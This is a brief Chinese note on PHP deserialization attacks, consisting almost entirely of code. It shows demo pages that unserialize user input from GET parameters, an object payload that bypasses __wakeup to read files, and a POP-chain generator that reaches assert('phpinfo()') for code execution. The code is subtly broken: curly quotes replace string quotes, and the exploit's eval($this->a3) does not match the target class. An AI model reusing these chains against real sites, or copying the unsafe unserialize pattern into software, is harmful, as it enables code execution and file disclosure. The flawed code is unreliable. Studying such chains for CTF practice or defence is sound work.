php反序列化简叙

<?php
class SoFun{ 
    protected $file=‘ser.php‘;
    function __destruct(){ 
        if(!empty($this->file)) {
               if(strchr($this-> file,"\\")===false &&  strchr($this->file, ‘/‘)===false){
                show_source(dirname (__FILE__).‘/‘.$this ->file);
            }
           }
        else{      
            die(‘Wrong filename.‘);
           }
    }
    function __wakeup(){ 
        $this-> file=‘ser.php‘; 
    } 
    function __toString(){
        return ‘‘ ;
    }
}

if(!isset($_GET[‘file‘])){ 
    show_source(‘ser.php‘); 
} 
else{ 
    $file=base64_decode( $_GET[‘file‘]); 
    echo unserialize($file ); 
} 
?>

<?php
class SoFun{ 
    protected $file=‘hello.txt‘;
  public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

<?php
class C1{
    function __construct($key, $word){
        $sijidou = $key . $word;
    }
}
class C2{
    private $a2;
    function __toString(){
        echo $this->a2->ying;    
        return "hello";
    }
}
class C3{
    private $fun;
    private $parm;
    function __get($key){
        $this->run();
        return null;
    }
    function run(){
        call_user_func($this->fun, $this->parm);
    }
}
if(isset($_GET[‘ser‘])){
    $s = $_GET[‘ser‘];
    $arr = unserialize($s);
    $class1 = new C1($arr[‘siji‘],$arr[‘dou‘]);
}
else{
    highlight_file("demo.php");
}  
?>

<?php
    class C1{
        function __construct($key, $word){
            $sijidou = $key . $word;
        }
    }

    class C2{
        private $a2;
        function __toString(){
            $this->a2->ying;    
            return "hello";
        }
        function add(){
            $this->a2 = new C3();
        }
    }

    class C3{
        private $fun = "assert";
        private $parm = "phpinfo()";
        function __get($key){
            $this->run();
        }
        function run(){
            eval($this->a3);
        }
    }
    $class2 = new C2();
    $class3 = new C3();
    $class2->add();
    $exp = array(‘siji‘ => $class2, ‘dou‘ => ‘dou‘);
    echo urlencode(serialize($exp));

?>